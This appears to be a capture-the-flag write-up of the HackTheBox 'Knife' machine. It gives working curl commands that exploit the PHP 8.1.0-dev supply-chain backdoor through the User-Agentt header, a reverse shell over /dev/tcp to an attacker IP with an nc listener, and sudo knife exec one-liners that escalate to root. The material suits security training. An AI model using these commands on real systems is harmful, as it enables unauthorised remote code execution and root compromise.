Post

Knife

A backdoored PHP 8.1.0-dev development build exposed via the X-Powered-By header accepted arbitrary OS commands through the User-Agentt header, giving a shell as james without credentials.

Knife

Overview

Knife is an Easy Linux machine on HackTheBox. The web server advertises PHP/8.1.0-dev in its response headers — a development snapshot that contained a malicious backdoor introduced via a supply chain attack in March 2021. Sending a specially crafted User-Agentt header (double t) with the zerodiumsystem() prefix executes arbitrary OS commands as the james user, granting the foothold and the user flag. From there, james has a passwordless sudo rule for the Chef knife binary; knife exec -E runs arbitrary Ruby code as root, and a one-liner escalates to a full root shell.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

The high CVE and Real-Life scores reflect that the primary exploit path is a genuine supply chain backdoor (CVE-2021-38540) combined with a very common production misconfiguration — both findings you would encounter in the wild.

Recon

PortServiceNotes
22SSHOpenSSH 8.2p1 — no known foothold CVE
80HTTPApache httpd — PHP/8.1.0-dev via X-Powered-By header
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80 -sC -sV -Pn 10.10.10.X

The version scan flags PHP/8.1.0-dev in the X-Powered-By response header — a development build suffix that immediately signals an unusual and potentially vulnerable runtime.

Enumeration

Checking response headers confirms the exact PHP build:

1
curl -s -I http://10.10.10.X/ | grep -i "x-powered-by\|server"

The response returns X-Powered-By: PHP/8.1.0-dev. In March 2021, an attacker pushed a malicious commit to the official PHP git repository that embedded a backdoor in the interpreter itself. Any server that deployed this development snapshot retained the backdoor permanently. The backdoor checks every HTTP request for a header named User-Agentt (two t’s) — if the value starts with zerodiumsystem(, PHP evaluates the rest as a system() call before any page code runs.

Foothold

Confirming command injection via the backdoor header:

1
curl -s http://10.10.10.X/ -H "User-Agentt: zerodiumsystem('id');"

The response prepends uid=1000(james) to the page output — unauthenticated OS command injection as james. To get an interactive shell, upgrade to a reverse shell:

1
curl -s http://10.10.10.X/ -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.14.X/4444 0>&1\"');"

On the listener side:

1
nc -lvnp 4444

A shell lands as james.

User flag

1
cat /home/james/user.txt   # HTB{...}

The foothold lands directly as james (uid=1000), who owns user.txt — no lateral movement required.

Privilege Escalation

From the james shell, check sudo rights:

1
sudo -l

The output shows (root) NOPASSWD: /usr/bin/knife. The Chef knife binary is a full Ruby scripting environment; knife exec -E evaluates arbitrary Ruby code in the context of the elevated process. This is a well-known GTFOBins escape path representing improper privilege management.

Escalate to a root shell:

1
sudo knife exec -E 'exec "/bin/bash"'

The shell becomes uid=0(root). Alternatively, read the root flag directly without an interactive shell:

1
sudo knife exec -E 'puts File.read("/root/root.txt")'

Root flag

1
cat /root/root.txt   # HTB{...}

Full root compromise achieved via a single GTFOBins one-liner against the misconfigured knife sudo rule.

This post is licensed under CC BY 4.0 by the author.